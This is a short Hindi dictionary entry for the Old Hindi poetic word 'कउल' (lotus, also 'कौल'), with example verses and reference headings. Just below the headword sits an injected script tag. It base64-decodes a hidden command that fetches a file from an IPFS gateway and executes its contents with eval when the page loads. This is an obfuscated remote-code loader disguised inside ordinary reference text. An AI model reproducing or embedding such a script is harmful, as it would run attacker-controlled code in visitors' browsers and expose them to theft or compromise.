कउल
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कउल - (काव्य प्रयोग, पुरानी हिन्दी) संज्ञा पुल्लिंग (संस्कृत कमल, कँवल[१], कवल[२])[३]
कौल। कमल।
उदाहरण-
धरहर बरषे सर भरे, सहज ऊपजे कउलु। - प्राणसंगली[४]
कउल - संज्ञा पुल्लिंग (अंग्रेज़ी कौल)
कौल।
उदाहरण-
जनमत मरत अनेक प्रकार त्रसित कउल पुनि बार बार। - भीखा शब्दावली[५]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख